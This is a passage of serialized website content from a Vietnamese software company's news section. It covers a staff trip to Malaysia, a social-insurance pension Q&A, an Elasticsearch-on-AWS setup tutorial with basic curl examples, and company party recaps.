heritage.",[11,6060,6061,6065],{},[438,6062],{"className":6063,"alt":66,"src":6064,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165433\u002F2025-1024x765.jpg",[473,6066],{},[11,6068,6069,6073,6075],{},[438,6070],{"className":6071,"alt":66,"src":6072,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165552\u002Fchua-1152x1536.png",[473,6074],{},[438,6076],{"className":6077,"alt":66,"src":6078,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131911\u002Fz6908508263025_c6f16d305b51405bb75fff8ca367cc0b-1024x576.jpg",[11,6080,6081],{},"Petronas Twin Towers - Malaysia’s most iconic landmark, where everyone takes the opportunity to capture unforgettable photos against this legendary backdrop. Truly a must-see and must-check-in spot!",[438,6083],{"className":6084,"alt":66,"src":6085,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165700\u002FUntitled-design-2-1046x2048.png",[11,6087,6088],{},"Putrajaya Square, a large and open space, is filled with soft, glowing light.",[11,6090,6091,6095],{},[438,6092],{"className":6093,"alt":66,"src":6094,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165602\u002FIMG_7989-1024x768.jpg",[473,6096],{},[438,6098],{"className":6099,"alt":66,"src":6100,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165359\u002F7-1024x674.jpg",[11,6102,6103],{},"From the center of the square, you can enjoy a stunning view of the iconic architectural landmarks surrounding it.",[11,6105,6106],{},"Standing proudly is Perdana Putra - the Prime Minister’s office with its distinctive green dome and design deeply influenced by Islamic aesthetics.",[438,6108],{"className":6109,"alt":66,"src":6110,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08132203\u002Fz6909717241921_add6abee44a0c8a2b9b0db3ea26a359b-1024x576.jpg",[11,6112,6113],{},"The Putra Mosque stands out with its iconic pastel pink architecture.",[438,6115],{"className":6116,"alt":66,"src":6117,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165621\u002FNha-tho-1152x1536.png",[11,6119,6120],{},[20,6121,6122],{},"Journey ends - Memories last forever",[11,6124,6125],{},"From the hearty laughs, the \"all-out\" check-in photos, to the lively conversations on the road or the moments of sharing experiences, every detail came together to create unforgettable memories.",[11,6127,6128],{},"Who knows, maybe one day soon we will pack our bags once again, ready for another adventure. Until then, see you on the next journey!",{"title":66,"searchDepth":67,"depth":67,"links":6130},[],"2025-10-08","After days of chasing deadlines, what can help us recharge our energy the fastest? The answer is none other than… A trip! And, Briswell is back with a promising adventure! What awaits? Follow Briswell to find out! Briswell Vietnam – 3 Days 2 Nights: A Malaysia Discovery Journey Full of Experiences. Day 1 – The adventure begins in Malaysia Departing from Ho Chi Minh City",{},"\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia",{"title":5921,"description":6132},"news\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08111953\u002FBia-2025-5.png","KnpEUVEpDU8wji85NxicvCxnHyfqyRi-wnU9QMVbwts",{"id":6140,"title":6141,"body":6142,"category":69,"created by":70,"date":6197,"description":6146,"extension":72,"meta":6198,"navigation":74,"path":6199,"sections":76,"seo":6200,"stem":6201,"thumbnail":6202,"__hash__":6203},"content_en\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da.md","REACHED THE RETIREMENT AGE,  CAN EMPLOYEES CONTINUE PAYING INSURANCE PREMIUMS TO MAXIMIZE THE PENSION BENEFIT?",{"type":8,"value":6143,"toc":6195},[6144,6147,6150,6155,6158,6161,6166,6169,6173],[11,6145,6146],{},"That is the concern of some employees when they reach retirement age but still lack the number of years of social insurance contributions to enjoy the pension benefit at the maximum rate 75%.",[11,6148,6149],{},"In this regard, Vietnam Social Security replied as follows:",[11,6151,6152],{},[20,6153,6154],{},"1. In case the employee is still working",[11,6156,6157],{},"Pursuant to the provisions of Clause 1, Article 148, Clause 1, Article 149 of the Labor Code 2019; Point a, Point b, Clause 1, Clause 4, Article 2, Clause 5, Article 3 of the Law on Social Insurance 2014; Clause 1, Article 9, Article 10 of Decree No. 134\u002F2015\u002FND-CP dated December 29, 2015 of the Government detailing a number of articles of the Law on Social Insurance on unemployment insurance, in case employees are still working and are subject to participation in compulsory social insurance (working under an indefinite term labor contract, a definite term labor contract, a seasonal labor contract or a certain job with a term from full 3 months to less than 12 months, labor contracts with a term of from full 1 month to less than 3 months), the employee and employer must pay social insurance contributions as prescribed until the termination of the labor contract.",[11,6159,6160],{},"This period of payment of social insurance will be accumulated to serve as the basis for determining the pension enjoyment level.",[11,6162,6163],{},[20,6164,6165],{},"2. In case the employee has quit the job",[11,6167,6168],{},"Pursuant to the provisions of Clause 4, Article 2, Clause 1, Article 73, Point b, Clause 2, Article 74 of the Law on Social Insurance 2014, employees are still entitled to continue paying voluntary social insurance according to one of the payment methods: monthly, every 3 months, every 6 months, every 12 months, or once for many years later (up to 5 years) to be added to the previous period of participation in social insurance to enjoy the 75% pension as prescribed by law.",[11,6170,6171],{},[51,6172,201],{},[31,6174,6175,6182,6188],{},[34,6176,6177],{},[55,6178,6181],{"href":6179,"rel":6180},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[59],"Labor code 2019",[34,6183,6184],{},[55,6185,6187],{"href":2436,"rel":6186},[59],"Law on social insurance in 2014",[34,6189,6190],{},[55,6191,6194],{"href":6192,"rel":6193},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-134-2015-ND-CP-huong-dan-Luat-Bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-tu-nguyen-280020.aspx",[59],"Decree No. 134\u002F2015\u002FND-CP dated 29\u002F12\u002F2015",{"title":66,"searchDepth":67,"depth":67,"links":6196},[],"2021-07-23",{},"\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da",{"title":6141,"description":6146},"news\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18101047\u002FDuTuoiNghiHuuCoDuocDongTiepBHXH-1-2048x1365.png","NfoIfFbCiivFM1HxUp9-V0rGee5j4FA313TR72ri0zk",{"id":6205,"title":6206,"body":6207,"category":1319,"created by":70,"date":6581,"description":6582,"extension":72,"meta":6583,"navigation":74,"path":6584,"sections":76,"seo":6585,"stem":6586,"thumbnail":6587,"__hash__":6588},"content_en\u002Fnews\u002Felasticsearch-tren-aws.md","Elasticsearch on AWS",{"type":8,"value":6208,"toc":6567},[6209,6215,6223,6229,6240,6246,6260,6264,6269,6274,6279,6282,6287,6295,6300,6311,6317,6329,6450,6456,6461,6464,6470,6473,6477,6482,6488,6490,6496,6498,6502,6508,6513,6515,6521,6528,6534,6555,6561],[403,6210,6212],{"id":6211},"what-is-elasticsearch",[20,6213,6214],{},"What is Elasticsearch?",[765,6216,6217,6220],{"style":2572},[11,6218,6219],{},"Elasticsearch is an open-source, RESTful, distributed search and analytics engine built on Apache Lucene.",[11,6221,6222],{},"Since its release in 2010, Elasticsearch has quickly become the most popular search engine, and is commonly used for log analytics, full-text search, security intelligence, business analytics, and operational intelligence use cases.",[403,6224,6226],{"id":6225},"how-does-elasticsearch-work",[20,6227,6228],{},"How does Elasticsearch work?",[765,6230,6231,6234,6237],{"style":2572},[11,6232,6233],{},"You can send data in the form of JSON documents to Elasticsearch using the API or ingestion tools such as Logstash and Amazon Kinesis Firehose.",[11,6235,6236],{},"Elasticsearch automatically stores the original document and adds a searchable reference to the document in the cluster’s index. You can then search and retrieve the document using the Elasticsearch API.",[11,6238,6239],{},"You can also use Kibana, an open-source visualization tool, with Elasticsearch to visualize your data and build interactive dashboards.",[403,6241,6243],{"id":6242},"is-elasticsearch-free",[20,6244,6245],{},"Is Elasticsearch free?",[765,6247,6248,6251,6254,6257],{"style":2572},[11,6249,6250],{},"Yes, Elasticsearch is a free, open source software.",[11,6252,6253],{},"You can run Elasticsearch on-premises, on Amazon EC2, or on Amazon Elasticsearch Service.",[11,6255,6256],{},"With on-premises or Amazon EC2 deployments, you are responsible for installing Elasticsearch and other necessary software, provisioning infrastructure, and managing the cluster.",[11,6258,6259],{},"Amazon Elasticsearch Service, on the other hand, is a fully managed service, so you don’t have to worry about time-consuming cluster management tasks such as hardware provisioning, software patching, failure recovery, backups, and monitoring.",[403,6261,6263],{"id":6262},"elasticsearch-benefits","Elasticsearch benefits",[11,6265,6266],{},[20,6267,6268],{},"HIGH PERFORMANCE",[765,6270,6271],{"style":2572},[11,6272,6273],{},"The distributed nature of Elasticsearch enables it to process large volumes of data in parallel, quickly finding the best matches for your queries.",[11,6275,6276],{},[20,6277,6278],{},"EASY APPLICATION DEVELOPMENT",[765,6280,6281],{"style":2572},"\nElasticsearch provides support for various languages including Java, Python, PHP, JavaScript, Node.js, Ruby, and many more.\n",[11,6283,6284],{},[20,6285,6286],{},"NEAR REAL-TIME OPERATIONS",[765,6288,6289,6292],{"style":2572},[11,6290,6291],{},"Elasticsearch operations such as reading or writing data usually take less than a second to complete.",[11,6293,6294],{},"This lets you use Elasticsearch for near real-time use cases such as application monitoring and anomaly detection.",[11,6296,6297],{},[20,6298,6299],{},"COMPLIMENTARY TOOLING AND PLUGINS",[765,6301,6302,6305,6308],{"style":2572},[11,6303,6304],{},"Elasticsearch comes integrated with Kibana, a popular visualization and reporting tool.",[11,6306,6307],{},"It also offers integration with Beats and Logstash, while enable you to easily transform source data and load it into your Elasticsearch cluster.",[11,6309,6310],{},"You can also use a number of open-source Elasticsearch plugins such as language analyzers and suggesters to add rich functionality to your applications.",[403,6312,6314],{"id":6313},"getting-started-with-elasticsearch-on-aws",[20,6315,6316],{},"Getting started with Elasticsearch on AWS",[565,6318,6320,507,6323,212,6326],{"id":6319},"step-1-create-an-amazon-elasticsearch-service-amazon-esdomain",[20,6321,6322],{},"Step 1: Create an",[20,6324,6325],{},"Amazon Elasticsearch Service (Amazon ES)",[20,6327,6328],{},"domain",[765,6330,6331,6342,6352,6358,6367,6379,6382,6399,6404,6413,6423,6433,6438,6443],{"style":2572},[11,6332,6333,6334,6338,6339,878],{},"1. Go to ",[55,6335,6336],{"href":6336,"rel":6337},"https:\u002F\u002Faws.amazon.com",[59]," and choose ",[20,6340,6341],{},"Sign In to the Console",[11,6343,6344,6345,6348,6349,878],{},"2. Under ",[20,6346,6347],{},"Analytics",", choose ",[20,6350,6351],{},"Elasticsearch Service",[11,6353,6354,6355,878],{},"3. Choose ",[20,6356,6357],{},"Create a new domain",[11,6359,6360,6361,6348,6364,878],{},"4. For the ",[20,6362,6363],{},"deployment type",[20,6365,6366],{},"Development and testing",[11,6368,6369,6370,6348,6373,6376,6377,878],{},"5. For the ",[20,6371,6372],{},"Elasticsearch version",[20,6374,6375],{},"latest version"," and then choose ",[20,6378,1062],{},[11,6380,6381],{},"6. Provide a name for the domain.",[11,6383,6384,6385,6348,6388,6391,6392,6395,6396,878],{},"7. Under ",[20,6386,6387],{},"Data nodes",[20,6389,6390],{},"instance type"," as ",[20,6393,6394],{},"t3.small.elasticsearch"," with the default value of ",[20,6397,6398],{},"Number of nodes",[11,6400,6401,6402,878],{},"8. Ignore the rest of the settings and choose ",[20,6403,1062],{},[11,6405,6406,6407,6348,6410,878],{},"9. For the ",[20,6408,6409],{},"Network configuration",[20,6411,6412],{},"Public access",[11,6414,6415,6416,6419,6420,878],{},"10. For the ",[20,6417,6418],{},"Fine-grained access control",", uncheck ",[20,6421,6422],{},"Enable fine-grained access control",[11,6424,6425,6426,6348,6429,6432],{},"11. For the ",[20,6427,6428],{},"Domain access policy",[20,6430,6431],{},"Custom access policy",". Enter the IP address or the IAM ARN to allow access to the domain.",[11,6434,6435,6436,878],{},"12. Ignore the rest of the settings and choose ",[20,6437,1062],{},[11,6439,6440,6441,878],{},"13. Ignore the tags option and choose ",[20,6442,1062],{},[11,6444,6445,6446,6449],{},"14. Confirm your domain configuration and choose ",[20,6447,6448],{},"Confirm",". New domains typically take 15–30 minutes to initialize, but can take longer depending on the configuration. After your domain initializes, make note of its endpoint.",[565,6451,6453],{"id":6452},"step-2-upload-data-to-amazon-es",[20,6454,6455],{},"Step 2: Upload data to Amazon ES",[11,6457,6458],{},[20,6459,6460],{},"Option 1: Upload a single document",[11,6462,6463],{},"Use command line",[605,6465,6468],{"className":6466,"code":6467,"language":610},[608],"curl -XPUT 'domain-endpoint\u002Fusers\u002F_doc\u002F1' -d '{\"id\": 1, \"userName\": \"Nguyen Van A\", \"email\": \"test@gmail.com\"}' -H 'Content-Type: application\u002Fjson'\n",[612,6469,6467],{"__ignoreMap":66},[11,6471,6472],{},"Use postman",[438,6474],{"className":6475,"alt":66,"src":6476,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160012\u002Fes-insert-1-1024x546.png",[11,6478,6479],{},[20,6480,6481],{},"Option 2: Upload multiple documents by file json, create a file users.json with the following content:",[605,6483,6486],{"className":6484,"code":6485,"language":610},[608],"{ \"index\" : { \"_index\": \"users\", \"_id\" : \"2\" } }\n        \n{\"id\": 2, \"userName\": \"Nguyen Van B\", \"email\": \"test+1@gmail.com\"}\n        \n{ \"index\" : { \"_index\": \"users\", \"_id\" : \"3\" } }\n        \n{\"id\": 3, \"userName\": \"Nguyen Van C\", \"email\": \"test+2@gmail.com\"}\n",[612,6487,6485],{"__ignoreMap":66},[11,6489,6463],{},[605,6491,6494],{"className":6492,"code":6493,"language":610},[608],"curl -XPOST 'domain-endpoint\u002F_bulk' --data-binary @users.json -H 'Content-Type: application\u002Fjson'\n",[612,6495,6493],{"__ignoreMap":66},[11,6497,6472],{},[438,6499],{"className":6500,"alt":66,"src":6501,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160451\u002Fes-insert-2-1024x649.png",[565,6503,6505],{"id":6504},"step-3-search-documents-in-amazon-es",[20,6506,6507],{},"Step 3: Search documents in Amazon ES",[11,6509,6510],{},[20,6511,6512],{},"Search data in the users domain for the word \"gmail.com\"",[11,6514,6463],{},[605,6516,6519],{"className":6517,"code":6518,"language":610},[608],"curl -XGET 'domain-endpoint\u002Fusers\u002F_search?q=gmail.com&pretty=true'\n",[612,6520,6518],{"__ignoreMap":66},[11,6522,6523,6524],{},"Use postman\n",[438,6525],{"className":6526,"alt":66,"src":6527,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160727\u002Fes-search-1024x650.png",[565,6529,6531],{"id":6530},"step-4-delete-an-amazon-es-domain",[20,6532,6533],{},"Step 4: Delete an Amazon ES domain",[765,6535,6536,6537,6540,6546],{"style":2572},"   \n",[11,6538,6539],{},"1. Sign in to the Amazon Elasticsearch Service console.",[11,6541,6344,6542,6545],{},[20,6543,6544],{},"My domains",", select the domain want to delete.",[11,6547,6354,6548,6551,6552,878],{},[20,6549,6550],{},"Actions"," and then choose ",[20,6553,6554],{},"Delete domain",[403,6556,6558],{"id":6557},"reference-document",[20,6559,6560],{},"Reference Document:",[11,6562,6563],{},[55,6564,6565],{"href":6565,"rel":6566},"https:\u002F\u002Fdocs.aws.amazon.com\u002Felasticsearch-service\u002Flatest\u002Fdeveloperguide\u002Fes-gsg.html",[59],{"title":66,"searchDepth":67,"depth":67,"links":6568},[6569,6570,6571,6572,6573,6580],{"id":6211,"depth":67,"text":6214},{"id":6225,"depth":67,"text":6228},{"id":6242,"depth":67,"text":6245},{"id":6262,"depth":67,"text":6263},{"id":6313,"depth":67,"text":6316,"children":6574},[6575,6577,6578,6579],{"id":6319,"depth":1306,"text":6576},"Step 1: Create an Amazon Elasticsearch Service (Amazon ES) domain",{"id":6452,"depth":1306,"text":6455},{"id":6504,"depth":1306,"text":6507},{"id":6530,"depth":1306,"text":6533},{"id":6557,"depth":67,"text":6560},"2021-06-23","What is Elasticsearch? Elasticsearch is an open-source, RESTful, distributed search and analytics engine built on Apache Lucene. Since its release in 2010, Elasticsearch has quickly become the most popular search engine, and is commonly used for log analytics, full-text search, security intelligence, business analytics, and operational intelligence use cases.",{},"\u002Fnews\u002Felasticsearch-tren-aws",{"title":6206,"description":6582},"news\u002Felasticsearch-tren-aws","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FElasticSearchIcon.jpg","w_6sW3KrQJ4y5qI7xvqRFyCDpGJzdDZWbP0CJqaLm1k",{"id":6590,"title":6591,"body":6592,"category":3032,"created by":70,"date":6629,"description":6630,"extension":72,"meta":6631,"navigation":74,"path":6632,"sections":76,"seo":6633,"stem":6634,"thumbnail":6635,"__hash__":6636},"content_en\u002Fnews\u002Fevent-party-in-03-2021.md","Event Party in 03.2021",{"type":8,"value":6593,"toc":6627},[6594,6597,6600,6605,6609,6613,6617,6620,6624],[11,6595,6596],{},"After the Lunar New Year, everyone has returned to work.",[11,6598,6599],{},"We had a small party. While enjoying the meal, we were chatting and asking each other about what's been throughout Tet and also about work after a long holiday.",[438,6601],{"className":6602,"alt":66,"src":6604,"style":444},[441,442,6603],"mb-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100042\u002FIMG_1681-2048x1536.jpg",[438,6606],{"className":6607,"alt":66,"src":6608,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100049\u002FIMG_1676-2048x1536.jpg",[438,6610],{"className":6611,"alt":66,"src":6612,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100057\u002FIMG_1674-1024x768.jpg",[438,6614],{"className":6615,"alt":66,"src":6616,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100008\u002FIMG_1677-1024x1021.jpg",[11,6618,6619],{},"The event had brought us together to hang out and have fun accompanying each other after a long day at work. ",[438,6621],{"className":6622,"alt":66,"src":6623,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100025\u002FIMG_1684-1024x768.jpg",[11,6625,6626],{},"May Briswell Viet Nam will be more and more successful and prosper.",{"title":66,"searchDepth":67,"depth":67,"links":6628},[],"2021-04-02","After the Lunar New Year, everyone has returned to work. We had a small party. While enjoying the meal, we were chatting and asking each other about what's been throughout Tet and also about work after a long holiday.",{},"\u002Fnews\u002Fevent-party-in-03-2021",{"title":6591,"description":6630},"news\u002Fevent-party-in-03-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100105\u002FFeatured-picture.png","osspw44bMrheDnZ3a4PpsLRT9E-2esc2PYAmPd31Scs",{"id":6638,"title":6639,"body":6640,"category":3032,"created by":6715,"date":6716,"description":6717,"extension":72,"meta":6718,"navigation":74,"path":6719,"sections":76,"seo":6720,"stem":6721,"thumbnail":6722,"__hash__":6723},"content_en\u002Fnews\u002Fevent-party-thang-03-2023.md","EVENT PARTY March 2023",{"type":8,"value":6641,"toc":6713},[6642,6650,6653,6657,6660,6664,6667,6679,6684,6692,6696,6701,6709],[31,6643,6644,6647],{},[34,6645,6646],{},"After the Lunar New Year holiday, the event party in March 2023 has returned, members of the Briswell family have the opportunity to experience minigames and enjoy new dishes at a completely new location that is Buk Buk Korean Street Grilled Buffet.",[34,6648,6649],{},"Join together in team games like A tale never loses in the telling, Build Tower to Find Spy requires the player's attention, sensitivity, trust and cooperation to bring victory together and of course, there will be a winning reward for the members' great coordination.",[11,6651,6652],{},"Here are the prizes for the winners.",[438,6654],{"className":6655,"alt":66,"src":6656,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10152536\u002F20230321_150953-2048x1536.jpg",[11,6658,6659],{},"The tale never loses in the telling game and the contestants' drawings.",[438,6661],{"className":6662,"alt":66,"src":6663,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10171751\u002F20230321_151850-2048x1068.jpg",[11,6665,6666],{},"And  the towers",[11,6668,6669,6673,6675],{},[438,6670],{"className":6671,"alt":66,"src":6672,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10172437\u002F20230321_160140-1152x1536.jpeg",[473,6674],{},[438,6676],{"className":6677,"alt":66,"src":6678,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10173327\u002F20230321_160157-scaled-1152x1536.jpeg",[31,6680,6681],{},[34,6682,6683],{},"It's time to leave work, the road is crowded with traffic, the cool weather in the evening is the most suitable time for the familiar, radiant faces of the Briswell family to meet face-to-face and chat under the smoke of the barbecue.",[11,6685,6686,6690],{},[438,6687],{"className":6688,"alt":66,"src":6689,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085658\u002FIMG_0986-1024x819.jpg",[473,6691],{},[438,6693],{"className":6694,"alt":66,"src":6695,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085650\u002FIMG_0985-1024x793.jpg",[31,6697,6698],{},[34,6699,6700],{},"The image of people eating, talking, and visiting each other with crispy laughter in their ears. The event was fun and meaningful, let's work together to have more party events like this, the Briswell family!",[11,6702,6703,6707],{},[438,6704],{"className":6705,"alt":66,"src":6706,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085712\u002FIMG_0988-1024x793.jpg",[473,6708],{},[438,6710],{"className":6711,"alt":66,"src":6712,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085706\u002FIMG_0987-1024x791.jpg",{"title":66,"searchDepth":67,"depth":67,"links":6714},[],"THANH CHAU LAI GIA","2023-04-18","After three months of waiting, Briswell Vietnam brings to its employees an interesting and meaningful event. August is not only the last month of summer but also the month leading up to the upcoming Mid-Autumn Festival. This is a great opportunity for us to rest and unwind after work pressures, as well as bond and share with wonderful and friendly colleagues. Let’s enjoy a colorful and joyful party with Briswell Vietnam! 🥂🎊🎈.",{},"\u002Fnews\u002Fevent-party-thang-03-2023",{"title":6639,"description":6717},"news\u002Fevent-party-thang-03-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F14125257\u002F20230321_160157-1-scaled-e1681452352766.jpeg","Uk8gSCBtKbKAexaIu72xaaNbvLG35V7mPJvT6WECyws",{"id":6725,"title":6726,"body":6727,"category":3032,"created by":70,"date":6765,"description":6731,"extension":72,"meta":6766,"navigation":74,"path":6767,"sections":76,"seo":6768,"stem":6769,"thumbnail":6770,"__hash__":6771},"content_en\u002Fnews\u002Fevent-party-thang-04-2021.md","Event Party in 04.2021",{"type":8,"value":6728,"toc":6763},[6729,6732,6735,6739,6743,6747,6751,6754,6757,6760],[11,6730,6731],{},"At the end of the day, the sound of cars is still bustling behind the door. What can be more meaningful when the BWV family puts aside work and worries in life to sit down to eat, drink and chat together.",[11,6733,6734],{},"The green leaves of vegetables roll up the delicious slices of meat that have just left the grill, the hot bowls of soup are still steamy, the laughter all have created an intimate atmosphere between BWVer members.",[438,6736],{"className":6737,"alt":66,"src":6738,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153443\u002F3-2048x1536.jpg",[438,6740],{"className":6741,"alt":66,"src":6742,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153453\u002F2-2048x1621.jpg",[438,6744],{"className":6745,"alt":66,"src":6746,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153502\u002F1-1024x768.jpg",[438,6748],{"className":6749,"alt":66,"src":6750,"style":444},[441,442,6603],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153518\u002F4-1024x768.jpg",[11,6752,6753],{},"At that moment, the people here became closer than ever.",[11,6755,6756],{},"Ending the meeting was great at AKA House Buffet, there were still lingering emotions in our hearts.",[11,6758,6759],{},"But surely, in the near future, we will have even more wonderful dates.",[11,6761,6762],{},"Let's look forward to the next events, BWV family!",{"title":66,"searchDepth":67,"depth":67,"links":6764},[],"2021-06-04",{},"\u002Fnews\u002Fevent-party-thang-04-2021",{"title":6726,"description":6731},"news\u002Fevent-party-thang-04-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153156\u002FFeatured-image.png","RZFVSe13-DXeBBO9-ig8IyPhXcjllqROS7EgmhkkMRQ",{"id":6773,"title":6774,"body":6775,"category":3032,"created by":6903,"date":6904,"description":6717,"extension":72,"meta":6905,"navigation":74,"path":6906,"sections":76,"seo":6907,"stem":6908,"thumbnail":6909,"__hash__":6910},"content_en\u002Fnews\u002Fevent-party-thang-08-2023.md","EVENT PARTY in 08.2023",{"type":8,"value":6776,"toc":6901},[6777,6779,6782,6786,6790,6793,6797,6801,6804,6808,6812,6815,6819,6823,6826,6830,6834,6837,6840,6844,6848,6851,6855,6859,6862,6866,6870,6873,6877,6881,6885,6889,6892,6895,6898],[11,6778,6717],{},[11,6780,6781],{},"The event starts with the game “King of Vietnamese” which gives players a word or a sentence with scrambled characters or words. The game has 4 teams, each team competes with each other for 5 minutes. The team that gives the most correct answers wins. This game is designed to test the player’s understanding and use of Vietnamese. It is an interesting and attractive game, giving players a sense of excitement and challenge when competing with other opponents 💪.",[438,6783],{"className":6784,"alt":66,"src":6785,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24160119\u002Fimage.png",[11,6787,6789],{"className":6788},[2464,2465,2466,2467,2468],"\nRules of the game King of Vietnamese\n",[11,6791,6792],{},"In the first round, Team 1 showed their superiority with a score of 12-3. The members of Team 1 were extremely excellent when they gave very fast and accurate answers, making everyone amazed.",[438,6794],{"className":6795,"alt":66,"src":6796,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092558\u002Fz4632813375395_56f15f450dbef634e7ba3142d5191457-768x576.jpg",[11,6798,6800],{"className":6799},[2464,2465,2466,2467,2468],"\nTeam 1 members\n",[11,6802,6803],{},"The match between Team 3 and Team 4 is the next part of the competition. This confrontation was very tense and exciting, and in the end, Team 4 won with a score of 